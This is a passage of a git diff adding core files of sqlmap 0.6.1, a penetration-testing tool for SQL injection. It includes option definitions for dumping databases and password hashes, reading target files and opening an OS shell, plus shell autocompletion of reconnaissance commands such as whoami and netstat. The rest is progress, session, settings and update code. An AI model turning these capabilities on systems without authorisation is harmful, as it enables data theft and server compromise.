Foundation, Inc., 51 +Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +""" + + + +optDict = { + # Family: { "parameter_name": "parameter_datatype", + "Request": { + "url": "string", + "googleDork": "string", + "testParameter": "string", + "method": "string", + "data": "string", + "cookie": "string", + "referer": "string", + "agent": "string", + "userAgentsFile": "string", + "aType": "string", + "aCred": "string", + "proxy": "string", + "threads": "integer", + }, + + "Injection": { + "string": "string", + "dbms": "string", + }, + + "Fingerprint": { + "extensiveFp": "boolean", + }, + + "Enumeration": { + "getBanner": "boolean", + "getCurrentUser": "boolean", + "getCurrentDb": "boolean", + "getUsers": "boolean", + "getPasswordHashes": "boolean", + "getPrivileges": "boolean", + "getDbs": "boolean", + "getTables": "boolean", + "getColumns": "boolean", + "dumpTable": "boolean", + "dumpAll": "boolean", + "user": "string", + "db": "string", + "tbl": "string", + "col": "string", + "excludeSysDbs": "boolean", + "limitStart": "integer", + "limitStop": "integer", + "query": "string", + "sqlShell": "boolean", + }, + + "File system": { + "rFile": "string", + "wFile": "string", + }, + + "Takeover": { + "osShell": "boolean", + }, + + "Miscellaneous": { + "unionTest": "boolean", + "unionUse": "boolean", + "eta": "boolean", + "verbose": "integer", + "updateAll": "boolean", + "sessionFile": "string", + "batch": "boolean", + }, + } diff --git a/lib/core/progress.py b/lib/core/progress.py new file mode 100644 index 000000000..b6116482a --- /dev/null +++ b/lib/core/progress.py @@ -0,0 +1,111 @@ +#!/usr/bin/env python + +""" +$Id: progress.py 214 2008-07-14 14:17:06Z inquisb $ + +This file is part of the sqlmap project, http://sqlmap.sourceforge.net. + +Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> + and Daniele Bellucci <daniele.bellucci@gmail.com> + +sqlmap is free software; you can redistribute it and/or modify it under +the terms of the GNU General Public License as published by the Free +Software Foundation version 2 of the License. + +sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY +WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS +FOR A PARTICULAR PURPOSE. See the GNU General Public License for more +details. + +You should have received a copy of the GNU General Public License along +with sqlmap; if not, write to the Free Software Foundation, Inc., 51 +Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +""" + + + +from lib.core.common import dataToStdout + + +class ProgressBar: + """ + This class defines methods to update and draw a progress bar + """ + + def __init__(self, minValue=0, maxValue=10, totalWidth=54): + self.__progBar = "[]" + self.__oldProgBar = "" + self.__min = minValue + self.__max = maxValue + self.__span = maxValue - minValue + self.__width = totalWidth + self.__amount = 0 + self.update() + + + def __convertSeconds(self, value): + seconds = value + minutes = seconds / 60 + seconds = seconds - (minutes * 60) + + return "%.2d:%.2d" % (minutes, seconds) + + + def update(self, newAmount=0): + """ + This method updates the progress bar + """ + + if newAmount < self.__min: + newAmount = self.__min + elif newAmount > self.__max: + newAmount = self.__max + + self.__amount = newAmount + + # Figure out the new percent done, round to an integer + diffFromMin = float(self.__amount - self.__min) + percentDone = (diffFromMin / float(self.__span)) * 100.0 + percentDone = round(percentDone) + percentDone = int(percentDone) + + # Figure out how many hash bars the percentage should be + allFull = self.__width - 2 + numHashes = (percentDone / 100.0) * allFull + numHashes = int(round(numHashes)) + + # Build a progress bar with an arrow of equal signs + if numHashes == 0: + self.__progBar = "[>%s]" % (" " * (allFull - 1)) + elif numHashes == allFull: + self.__progBar = "[%s]" % ("=" * allFull) + else: + self.__progBar = "[%s>%s]" % ("=" * (numHashes - 1), + " " * (allFull - numHashes)) + + # Add the percentage at the beginning of the progress bar + percentString = str(percentDone) + "%" + self.__progBar = "%s %s" % (percentString, self.__progBar) + + + def draw(self, eta=0): + """ + This method draws the progress bar if it has changed + """ + + if self.__progBar != self.__oldProgBar: + self.__oldProgBar = self.__progBar + + if eta and self.__amount < self.__max: + dataToStdout("\r%s %d/%d ETA %s" % (self.__progBar, self.__amount, self.__max, self.__convertSeconds(int(eta)))) + else: + blank = " " * (80 - len("\r%s %d/%d" % (self.__progBar, self.__amount, self.__max))) + dataToStdout("\r%s %d/%d%s" % (self.__progBar, self.__amount, self.__max, blank)) + + + def __str__(self): + """ + This method returns the progress bar string + """ + + return str(self.__progBar) diff --git a/lib/core/readlineng.py b/lib/core/readlineng.py new file mode 100644 index 000000000..2c8c3b31c --- /dev/null +++ b/lib/core/readlineng.py @@ -0,0 +1,94 @@ +#!/usr/bin/env python + +""" +$Id: readlineng.py 326 2008-08-27 12:20:15Z inquisb $ + +This file is part of the sqlmap project, http://sqlmap.sourceforge.net. + +Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> + and Daniele Bellucci <daniele.bellucci@gmail.com> + +sqlmap is free software; you can redistribute it and/or modify it under +the terms of the GNU General Public License as published by the Free +Software Foundation version 2 of the License. + +sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY +WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS +FOR A PARTICULAR PURPOSE. See the GNU General Public License for more +details. + +You should have received a copy of the GNU General Public License along +with sqlmap; if not, write to the Free Software Foundation, Inc., 51 +Franklin St, Fifth Floor, Boston, MA 02110-1301 USA + +Based on IPython readline library (IPython/rlineimpl.py), imports and +provides the "correct" version of readline for the platform. +In addition to normal readline stuff, this module provides haveReadline +boolean and _outputfile variable used in genutils. +""" + + + +import sys + + +from lib.core.data import logger + + +try: + from readline import * + import readline as _rl + + haveReadline = True +except ImportError: + try: + from pyreadline import * + import pyreadline as _rl + + haveReadline = True + except ImportError: + haveReadline = False + +if sys.platform == 'win32' and haveReadline: + try: + _outputfile=_rl.GetOutputFile() + except AttributeError: + debugMsg = "Failed GetOutputFile when using platform's " + debugMsg += "readline library" + logger.debug(debugMsg) + + haveReadline = False + +# Test to see if libedit is being used instead of GNU readline. +# Thanks to Boyd Waters for this patch. +uses_libedit = False + +if sys.platform == 'darwin' and haveReadline: + import commands + + (status, result) = commands.getstatusoutput( "otool -L %s | grep libedit" % _rl.__file__ ) + + if status == 0 and len(result) > 0: + # We are bound to libedit - new in Leopard + _rl.parse_and_bind("bind ^I rl_complete") + + debugMsg = "Leopard libedit detected when using platform's " + debugMsg += "readline library" + logger.debug(debugMsg) + + uses_libedit = True + + +# the clear_history() function was only introduced in Python 2.4 and is +# actually optional in the readline API, so we must explicitly check for its +# existence. Some known platforms actually don't have it. This thread: +# http://mail.python.org/pipermail/python-dev/2003-August/037845.html +# has the original discussion. +if haveReadline: + try: + _rl.clear_history + except AttributeError: + def clear_history(): + pass + + _rl.clear_history = clear_history diff --git a/lib/core/session.py b/lib/core/session.py new file mode 100644 index 000000000..a6b802761 --- /dev/null +++ b/lib/core/session.py @@ -0,0 +1,282 @@ +#!/usr/bin/env python + +""" +$Id: session.py 368 2008-09-30 00:09:59Z inquisb $ + +This file is part of the sqlmap project, http://sqlmap.sourceforge.net. + +Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> + and Daniele Bellucci <daniele.bellucci@gmail.com> + +sqlmap is free software; you can redistribute it and/or modify it under +the terms of the GNU General Public License as published by the Free +Software Foundation version 2 of the License. + +sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY +WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS +FOR A PARTICULAR PURPOSE. See the GNU General Public License for more +details. + +You should have received a copy of the GNU General Public License along +with sqlmap; if not, write to the Free Software Foundation, Inc., 51 +Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +""" + + + +import re + +from lib.core.common import dataToSessionFile +from lib.core.common import readInput +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.settings import MSSQL_ALIASES +from lib.core.settings import MYSQL_ALIASES + +def setString(): + """ + Save string to match in session file. + """ + + condition = ( + conf.sessionFile and ( not kb.resumedQueries + or ( kb.resumedQueries.has_key(conf.url) and + not kb.resumedQueries[conf.url].has_key("String") ) ) + ) + + if condition: + dataToSessionFile("[%s][None][None][String][%s]\n" % (conf.url, conf.string)) + + +def setInjection(): + """ + Save information retrieved about injection place and parameter in the + session file. + """ + + if kb.injPlace == "User-Agent": + kb.injParameter = conf.agent + + condition = ( + kb.injPlace and kb.injParameter and + conf.sessionFile and ( not kb.resumedQueries + or ( kb.resumedQueries.has_key(conf.url) and + ( not kb.resumedQueries[conf.url].has_key("Injection point") + or not kb.resumedQueries[conf.url].has_key("Injection parameter") + or not kb.resumedQueries[conf.url].has_key("Injection type") + ) ) ) + ) + + if condition: + dataToSessionFile("[%s][%s][%s][Injection point][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], kb.injPlace)) + dataToSessionFile("[%s][%s][%s][Injection parameter][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], kb.injParameter)) + dataToSessionFile("[%s][%s][%s][Injection type][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], kb.injType)) + + +def setParenthesis(parenthesisCount): + """ + @param parenthesisCount: number of parenthesis to be set into the + knowledge base as fingerprint. + @type parenthesisCount: C{int} + """ + + condition = ( + conf.sessionFile and ( not kb.resumedQueries + or ( kb.resumedQueries.has_key(conf.url) and + not kb.resumedQueries[conf.url].has_key("Parenthesis") ) ) + ) + + if condition: + dataToSessionFile("[%s][%s][%s][Parenthesis][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], parenthesisCount)) + + kb.parenthesis = parenthesisCount + + +def setDbms(dbms): + """ + @param dbms: database management system to be set into the knowledge + base as fingerprint. + @type dbms: C{str} + """ + + condition = ( + conf.sessionFile and ( not kb.resumedQueries + or ( kb.resumedQueries.has_key(conf.url) and + not kb.resumedQueries[conf.url].has_key("DBMS") ) ) + ) + + if condition: + dataToSessionFile("[%s][%s][%s][DBMS][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], dbms)) + + firstRegExp = "(%s|%s)" % ("|".join([alias for alias in MSSQL_ALIASES]), + "|".join([alias for alias in MYSQL_ALIASES])) + dbmsRegExp = re.search("^%s" % firstRegExp, dbms, re.I) + + if dbmsRegExp: + dbms = dbmsRegExp.group(1) + + kb.dbms = dbms + + +def setUnion(comment=None, count=None, position=None): + """ + @param comment: union comment to save in session file + @type comment: C{str} + + @param count: union count to save in session file + @type count: C{str} + + @param position: union position to save in session file + @type position: C{str} + """ + + if comment and count: + condition = ( + conf.sessionFile and ( not kb.resumedQueries + or ( kb.resumedQueries.has_key(conf.url) and + ( not kb.resumedQueries[conf.url].has_key("Union comment") + or not kb.resumedQueries[conf.url].has_key("Union count") + ) ) ) + ) + + if condition: + dataToSessionFile("[%s][%s][%s][Union comment][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], comment)) + dataToSessionFile("[%s][%s][%s][Union count][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], count)) + + kb.unionComment = comment + kb.unionCount = count + + elif position: + condition = ( + conf.sessionFile and ( not kb.resumedQueries + or ( kb.resumedQueries.has_key(conf.url) and + ( not kb.resumedQueries[conf.url].has_key("Union position") + ) ) ) + ) + + if condition: + dataToSessionFile("[%s][%s][%s][Union position][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], position)) + + kb.unionPosition = position + + +def resumeConfKb(expression, url, value): + if expression == "String" and url == conf.url: + string = value[:-1] + + logMsg = "resuming string match '%s' from session file" % string + logger.info(logMsg) + + if string and ( not conf.string or string != conf.string ): + if not conf.string: + message = "you did not provide any string to match. " + else: + message = "The string you provided does not match " + message += "the resumed string. " + + message += "Do you want to use the resumed string " + message += "to be matched in page when the query " + message += "is valid? [Y/n] " + test = readInput(message, default="Y") + + if not test or test[0] in ("y", "Y"): + conf.string = string + + elif expression == "Injection point" and url == conf.url: + injPlace = value[:-1] + + logMsg = "resuming injection point '%s' from session file" % injPlace + logger.info(logMsg) + + if not conf.paramDict.has_key(injPlace): + warnMsg = "none of the parameters you provided " + warnMsg += "matches the resumable injection point. " + warnMsg += "sqlmap is going to reidentify the " + warnMsg += "injectable point" + logger.warn(warnMsg) + else: + kb.injPlace = injPlace + + elif expression == "Injection parameter" and url == conf.url: + injParameter = value[:-1] + + logMsg = "resuming injection parameter '%s' from session file" % injParameter + logger.info(logMsg) + + condition = ( + not conf.paramDict.has_key(kb.injPlace) or + not conf.paramDict[kb.injPlace].has_key(injParameter) + ) + + if condition: + warnMsg = "none of the parameters you provided " + warnMsg += "matches the resumable injection parameter. " + warnMsg += "sqlmap is going to reidentify the " + warnMsg += "injectable point" + logger.warn(warnMsg) + else: + kb.injParameter = injParameter + + elif expression == "Injection type" and url == conf.url: + kb.injType = value[:-1] + + logMsg = "resuming injection type '%s' from session file" % kb.injType + logger.info(logMsg) + + elif expression == "Parenthesis" and url == conf.url: + kb.parenthesis = int(value[:-1]) + + logMsg = "resuming %d number of " % kb.parenthesis + logMsg += "parenthesis from session file" + logger.info(logMsg) + + elif expression == "DBMS" and url == conf.url: + dbms = value[:-1] + + logMsg = "resuming back-end DBMS '%s' " % dbms + logMsg += "from session file" + logger.info(logMsg) + + dbms = dbms.lower() + firstRegExp = "(%s|%s)" % ("|".join([alias for alias in MSSQL_ALIASES]), + "|".join([alias for alias in MYSQL_ALIASES])) + dbmsRegExp = re.search("%s ([\d\.]+)" % firstRegExp, dbms) + + if dbmsRegExp: + dbms = dbmsRegExp.group(1) + kb.dbmsVersion = [dbmsRegExp.group(2)] + + if conf.dbms and conf.dbms.lower() != dbms: + message = "you provided '%s' as back-end DBMS, " % conf.dbms + message += "but from a past scan information on the target URL " + message += "sqlmap assumes the back-end DBMS is %s. " % dbms + message += "Do you really want to force the back-end " + message += "DBMS value? [y/N] " + test = readInput(message, default="N") + + if not test or test[0] in ("n", "N"): + conf.dbms = dbms + else: + conf.dbms = dbms + + elif expression == "Union comment" and url == conf.url: + kb.unionComment = value[:-1] + + logMsg = "resuming union comment " + logMsg += "'%s' from session file" % kb.unionComment + logger.info(logMsg) + + elif expression == "Union count" and url == conf.url: + kb.unionCount = int(value[:-1]) + + logMsg = "resuming union count " + logMsg += "%s from session file" % kb.unionCount + logger.info(logMsg) + + elif expression == "Union position" and url == conf.url: + kb.unionPosition = int(value[:-1]) + + logMsg = "resuming union position " + logMsg += "%s from session file" % kb.unionPosition + logger.info(logMsg) diff --git a/lib/core/settings.py b/lib/core/settings.py new file mode 100644 index 000000000..822bd117c --- /dev/null +++ b/lib/core/settings.py @@ -0,0 +1,66 @@ +#!/usr/bin/env python + +""" +$Id: settings.py 373 2008-10-03 10:08:39Z inquisb $ + +This file is part of the sqlmap project, http://sqlmap.sourceforge.net. + +Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> + and Daniele Bellucci <daniele.bellucci@gmail.com> + +sqlmap is free software; you can redistribute it and/or modify it under +the terms of the GNU General Public License as published by the Free +Software Foundation version 2 of the License. + +sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY +WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS +FOR A PARTICULAR PURPOSE. See the GNU General Public License for more +details. + +You should have received a copy of the GNU General Public License along +with sqlmap; if not, write to the Free Software Foundation, Inc., 51 +Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +""" + + + +import logging +import os +import sys + + +# sqlmap version and site +VERSION = "0.6.1" +VERSION_STRING = "sqlmap/%s" % VERSION +SITE = "http://sqlmap.sourceforge.net" + +# sqlmap logger +logging.addLevelName(9, "TRAFFIC OUT") +logging.addLevelName(8, "TRAFFIC IN") +LOGGER = logging.getLogger("sqlmapLog") +LOGGER_HANDLER = logging.StreamHandler(sys.stdout) +FORMATTER = logging.Formatter("[%(asctime)s] [%(levelname)s] %(message)s", "%H:%M:%S") + +LOGGER_HANDLER.setFormatter(FORMATTER) +LOGGER.addHandler(LOGGER_HANDLER) +LOGGER.setLevel(logging.WARN) + +# Url to update Microsoft SQL Server XML versions file from +MSSQL_VERSIONS_URL = "http://www.sqlsecurity.com/FAQs/SQLServerVersionDatabase/tabid/63/Default.aspx" + +# Url to update sqlmap from +SQLMAP_VERSION_URL = "%s/doc/VERSION" % SITE +SQLMAP_SOURCE_URL = "http://downloads.sourceforge.net/sqlmap/sqlmap-%s.zip" + +# Database managemen system specific variables +MSSQL_SYSTEM_DBS = ( "Northwind", "model", "msdb", "pubs", "tempdb" ) +MYSQL_SYSTEM_DBS = ( "information_schema", "mysql" ) +PGSQL_SYSTEM_DBS = ( "information_schema", "pg_catalog" ) +ORACLE_SYSTEM_DBS = ( "SYSTEM", "SYSAUX" ) + +MSSQL_ALIASES = [ "microsoft sql server", "mssqlserver", "mssql", "ms" ] +MYSQL_ALIASES = [ "mysql", "my" ] +PGSQL_ALIASES = [ "postgresql", "postgres", "pgsql", "psql", "pg" ] +ORACLE_ALIASES = [ "oracle", "orcl", "ora", "or" ] + +SUPPORTED_DBMS = MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES diff --git a/lib/core/shell.py b/lib/core/shell.py new file mode 100644 index 000000000..d56ce414f --- /dev/null +++ b/lib/core/shell.py @@ -0,0 +1,103 @@ +#!/usr/bin/env python + +""" +$Id: shell.py 259 2008-07-20 22:25:50Z inquisb $ + +This file is part of the sqlmap project, http://sqlmap.sourceforge.net. + +Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> + and Daniele Bellucci <daniele.bellucci@gmail.com> + +sqlmap is free software; you can redistribute it and/or modify it under +the terms of the GNU General Public License as published by the Free +Software Foundation version 2 of the License. + +sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY +WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS +FOR A PARTICULAR PURPOSE. See the GNU General Public License for more +details. + +You should have received a copy of the GNU General Public License along +with sqlmap; if not, write to the Free Software Foundation, Inc., 51 +Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +""" + + + +import atexit +import os +import rlcompleter + +from lib.core import readlineng as readline +from lib.core.data import kb +from lib.core.data import paths +from lib.core.data import queries + + +def saveHistory(): + historyPath = os.path.expanduser(paths.SQLMAP_HISTORY) + readline.write_history_file(historyPath) + + +def loadHistory(): + historyPath = os.path.expanduser(paths.SQLMAP_HISTORY) + + if os.path.exists(historyPath): + readline.read_history_file(historyPath) + + +def queriesForAutoCompletion(): + autoComplQueries = {} + + for _, query in queries[kb.dbms].items(): + if isinstance(query, str) and len(query) > 1: + autoComplQuery = query + elif isinstance(query, dict) and "inband" in query: + autoComplQuery = query["inband"]["query"] + + autoComplQueries[autoComplQuery] = None + + return autoComplQueries + + +class CompleterNG(rlcompleter.Completer): + def global_matches(self, text): + """ + Compute matches when text is a simple name. + Return a list of all names currently defined in self.namespace + that match. + """ + + matches = [] + n = len(text) + + for list in [ self.namespace ]: + for word in list: + if word[:n] == text: + matches.append(word) + + return matches + + +def autoCompletion(sqlShell=False, osShell=False): + # First of all we check if the readline is available, by default + # it is not in Python default installation on Windows + if not readline.haveReadline: + return + + if sqlShell: + completer = CompleterNG(queriesForAutoCompletion()) + elif osShell: + # TODO: add more operating system commands; differentiate commands + # based on future operating system fingerprint + completer = CompleterNG({ + "id": None, "ifconfig": None, "ls": None, + "netstat -natu": None, "pwd": None, + "uname": None, "whoami": None, + }) + + readline.set_completer(completer.complete) + readline.parse_and_bind("tab: complete") + + loadHistory() + atexit.register(saveHistory) diff --git a/lib/core/target.py b/lib/core/target.py new file mode 100644 index 000000000..cd92ee598 --- /dev/null +++ b/lib/core/target.py @@ -0,0 +1,218 @@ +#!/usr/bin/env python + +""" +$Id: target.py 294 2008-07-28 23:30:15Z inquisb $ + +This file is part of the sqlmap project, http://sqlmap.sourceforge.net. + +Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> + and Daniele Bellucci <daniele.bellucci@gmail.com> + +sqlmap is free software; you can redistribute it and/or modify it under +the terms of the GNU General Public License as published by the Free +Software Foundation version 2 of the License. + +sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY +WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS +FOR A PARTICULAR PURPOSE. See the GNU General Public License for more +details. + +You should have received a copy of the GNU General Public License along +with sqlmap; if not, write to the Free Software Foundation, Inc., 51 +Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +""" + + + +import os +import re +import time + +from lib.core.common import dataToSessionFile +from lib.core.common import paramToDict +from lib.core.common import parseTargetUrl +from lib.core.common import readInput +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.data import paths +from lib.core.dump import dumper +from lib.core.exception import sqlmapFilePathException +from lib.core.exception import sqlmapGenericException +from lib.core.exception import sqlmapSyntaxException +from lib.core.session import resumeConfKb + + +def __setRequestParams(): + """ + Check and set the parameters and perform checks on 'data' option for + HTTP method POST. + """ + + __testableParameters = False + + # Perform checks on GET parameters + if conf.parameters.has_key("GET") and conf.parameters["GET"]: + parameters = conf.parameters["GET"] + __paramDict = paramToDict("GET", parameters) + + if __paramDict: + conf.paramDict["GET"] = __paramDict + __testableParameters = True + + # Perform checks on POST parameters + if conf.method == "POST" and not conf.data: + errMsg = "HTTP POST method depends on HTTP data value to be posted" + raise sqlmapSyntaxException, errMsg + + if conf.data: + conf.parameters["POST"] = conf.data + __paramDict = paramToDict("POST", conf.data) + + if __paramDict: + conf.paramDict["POST"] = __paramDict + __testableParameters = True + + # Perform checks on Cookie parameters + if conf.cookie: + conf.parameters["Cookie"] = conf.cookie + __paramDict = paramToDict("Cookie", conf.cookie) + + if __paramDict: + conf.paramDict["Cookie"] = __paramDict + __testableParameters = True + + # Perform checks on User-Agent header value + if conf.httpHeaders: + for httpHeader, headerValue in conf.httpHeaders: + if httpHeader == "User-Agent": + conf.parameters["User-Agent"] = headerValue + + condition = not conf.testParameter + condition |= "User-Agent" in conf.testParameter + condition |= "user-agent" in conf.testParameter + condition |= "useragent" in conf.testParameter + condition |= "ua" in conf.testParameter + + if condition: + conf.paramDict["User-Agent"] = { "User-Agent": headerValue } + __testableParameters = True + + if not conf.parameters: + errMsg = "you did not provide any GET, POST and Cookie " + errMsg += "parameter, neither an User-Agent header" + raise sqlmapGenericException, errMsg + + elif not __testableParameters: + errMsg = "all testable parameters you provided are not present " + errMsg += "within the GET, POST and Cookie parameters" + raise sqlmapGenericException, errMsg + + +def __setOutputResume(): + """ + Check and set the output text file and the resume functionality. + """ + + if conf.sessionFile and os.path.exists(conf.sessionFile): + readSessionFP = open(conf.sessionFile, "r") + lines = readSessionFP.readlines() + + for line in lines: + if line.count("][") == 4: + line = line.split("][") + + if len(line) != 5: + continue + + url, _, _, expression, value = line + + if not value: + continue + + if url[0] == "[": + url = url[1:] + + if value[-1] == "\n": + value = value[:-1] + + if url != conf.url: + continue + + if url not in kb.resumedQueries.keys(): + kb.resumedQueries[url] = {} + kb.resumedQueries[url][expression] = value + + resumeConfKb(expression, url, value) + + if expression not in kb.resumedQueries[url].keys(): + kb.resumedQueries[url][expression] = value + elif len(value) >= len(kb.resumedQueries[url][expression]): + kb.resumedQueries[url][expression] = value + + readSessionFP.close() + + if conf.sessionFile: + try: + conf.sessionFP = open(conf.sessionFile, "a") + dataToSessionFile("\n[%s]\n" % time.strftime("%X %x")) + except IOError: + errMsg = "unable to write on the session file specified" + raise sqlmapFilePathException, errMsg + + +def __createFilesDir(): + """ + Create the file directory. + """ + + if not conf.rFile: + return + + conf.filePath = paths.SQLMAP_FILES_PATH % conf.hostname + + if not os.path.isdir(conf.filePath): + os.makedirs(conf.filePath, 0755) + + +def __createDumpDir(): + """ + Create the dump directory. + """ + + if not conf.dumpTable and not conf.dumpAll: + return + + conf.dumpPath = paths.SQLMAP_DUMP_PATH % conf.hostname + + if not os.path.isdir(conf.dumpPath): + os.makedirs(conf.dumpPath, 0755) + + +def initTargetEnv(): + """ + Initialize target environment. + """ + + parseTargetUrl() + __setRequestParams() + __setOutputResume() + + +def createTargetDirs(): + """ + Create the output directory. + """ + + conf.outputPath = "%s%s%s" % (paths.SQLMAP_OUTPUT_PATH, os.sep, conf.hostname) + + if not os.path.isdir(paths.SQLMAP_OUTPUT_PATH): + os.makedirs(paths.SQLMAP_OUTPUT_PATH, 0755) + + if not os.path.isdir(conf.outputPath): + os.makedirs(conf.outputPath, 0755) + + dumper.setOutputFile() + + __createDumpDir() + __createFilesDir() diff --git a/lib/core/unescaper.py b/lib/core/unescaper.py new file mode 100644 index 000000000..6712efb01 --- /dev/null +++ b/lib/core/unescaper.py @@ -0,0 +1,40 @@ +#!/usr/bin/env python + +""" +$Id: unescaper.py 214 2008-07-14 14:17:06Z inquisb $ + +This file is part of the sqlmap project, http://sqlmap.sourceforge.net. + +Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> + and Daniele Bellucci <daniele.bellucci@gmail.com> + +sqlmap is free software; you can redistribute it and/or modify it under +the terms of the GNU General Public License as published by the Free +Software Foundation version 2 of the License. + +sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY +WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS +FOR A PARTICULAR PURPOSE. See the GNU General Public License for more +details. + +You should have received a copy of the GNU General Public License along +with sqlmap; if not, write to the Free Software Foundation, Inc., 51 +Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +""" + + + +class Unescaper: + def __init__(self): + self.__unescaper = None + + + def setUnescape(self, unescapeFunction): + self.__unescaper = unescapeFunction + + + def unescape(self, expression): + return self.__unescaper(expression) + + +unescaper = Unescaper() diff --git a/lib/core/update.py b/lib/core/update.py new file mode 100644 index 000000000..f1f213813 --- /dev/null +++ b/lib/core/update.py @@ -0,0 +1,337 @@ +#!/usr/bin/env python + +""" +$Id: update.py 368 2008-09-30 00:09:59Z inquisb $ + +This file is part of the sqlmap project, http://sqlmap.sourceforge.net. + +Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> + and Daniele Bellucci <daniele.bellucci@gmail.com> + +sqlmap is free software; you can redistribute it and/or modify it under +the terms of the GNU General Public License as published by the Free +Software Foundation version 2 of the License. + +sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY +WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS +FOR A PARTICULAR PURPOSE. See the GNU General Public License for more +details. + +You should have received a copy of the GNU General Public License along +with sqlmap; if not, write to the Free Software Foundation, Inc., 51 +Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +""" + + + +import difflib +import os +import re +import shutil +import tempfile +import urlparse +import zipfile + +from distutils.dir_util import mkpath +from xml.dom.minidom import Document + +from lib.core.common import readInput +from lib.core.data import conf +from lib.core.data import logger +from lib.core.data import paths +from lib.core.exception import sqlmapConnectionException +from lib.core.exception import sqlmapFilePathException +from lib.core.settings import MSSQL_VERSIONS_URL +from lib.core.settings import SQLMAP_VERSION_URL +from lib.core.settings import SQLMAP_SOURCE_URL +from lib.core.settings import VERSION +from lib.request.connect import Connect as Request + + +def __updateMSSQLXML(): + infoMsg = "updating Microsoft SQL Server XML versions file" + logger.info(infoMsg) + + try: + mssqlVersionsHtmlString = Request.getPage(url=MSSQL_VERSIONS_URL, direct=True) + except sqlmapConnectionException, _: + __mssqlPath = urlparse.urlsplit(MSSQL_VERSIONS_URL) + __mssqlHostname = __mssqlPath[1] + + warnMsg = "sqlmap was unable to connect to %s," % __mssqlHostname + warnMsg += " check your Internet connection and retry" + logger.warn(warnMsg) + + return + + releases = re.findall("class=\"BCC_DV_01DarkBlueTitle\">SQL Server ([\d\.]+) Builds", mssqlVersionsHtmlString, re.I | re.M) + releasesCount = len(releases) + + # Create the minidom document + doc = Document() + + # Create the <root> base element + root = doc.createElement("root") + doc.appendChild(root) + + for index in range(0, releasesCount): + release = releases[index] + + # Skip Microsoft SQL Server 6.5 because the HTML + # table is in another format + if release == "6.5": + continue + + # Create the <signatures> base element + signatures = doc.createElement("signatures") + signatures.setAttribute("release", release) + root.appendChild(signatures) + + startIdx = mssqlVersionsHtmlString.index("SQL Server %s Builds" % releases[index]) + + if index == releasesCount - 1: + stopIdx = len(mssqlVersionsHtmlString) + else: + stopIdx = mssqlVersionsHtmlString.index("SQL Server %s Builds" % releases[index + 1]) + + mssqlVersionsReleaseString = mssqlVersionsHtmlString[startIdx:stopIdx] + servicepackVersion = re.findall("</td><td>[7\.0|2000|2005|2008]*(.*?)</td><td.*?([\d\.]+)</td>[\r]*\n", mssqlVersionsReleaseString, re.I | re.M) + + for servicePack, version in servicepackVersion: + if servicePack.startswith(" "): + servicePack = servicePack[1:] + if "/" in servicePack: + servicePack = servicePack[:servicePack.index("/")] + if "(" in servicePack: + servicePack = servicePack[:servicePack.index("(")] + if "-" in servicePack: + servicePack = servicePack[:servicePack.index("-")] + if "*" in servicePack: + servicePack = servicePack[:servicePack.index("*")] + + servicePack = servicePack.replace("\t", " ") + servicePack = servicePack.replace(" ", " ") + servicePack = servicePack.replace("No SP", "0") + servicePack = servicePack.replace("RTM", "0") + servicePack = servicePack.replace("SP", "") + servicePack = servicePack.replace("<a href=\"http:", "") + + if servicePack.endswith(" "): + servicePack = servicePack[:-1] + + if servicePack and version: + # Create the main <card> element + signature = doc.createElement("signature") + signatures.appendChild(signature) + + # Create a <version> element + versionElement = doc.createElement("version") + signature.appendChild(versionElement) + + # Give the <version> elemenet some text + versionText = doc.createTextNode(version) + versionElement.appendChild(versionText) + + # Create a <servicepack> element + servicepackElement = doc.createElement("servicepack") + signature.appendChild(servicepackElement) + + # Give the <servicepack> elemenet some text + servicepackText = doc.createTextNode(servicePack) + servicepackElement.appendChild(servicepackText) + + # Get the XML old file content to a local variable + mssqlXml = open(paths.MSSQL_XML, "r") + oldMssqlXml = mssqlXml.read() + oldMssqlXmlSignatures = oldMssqlXml.count("<signature>") + oldMssqlXmlList = oldMssqlXml.splitlines(1) + mssqlXml.close() + + # Backup the XML old 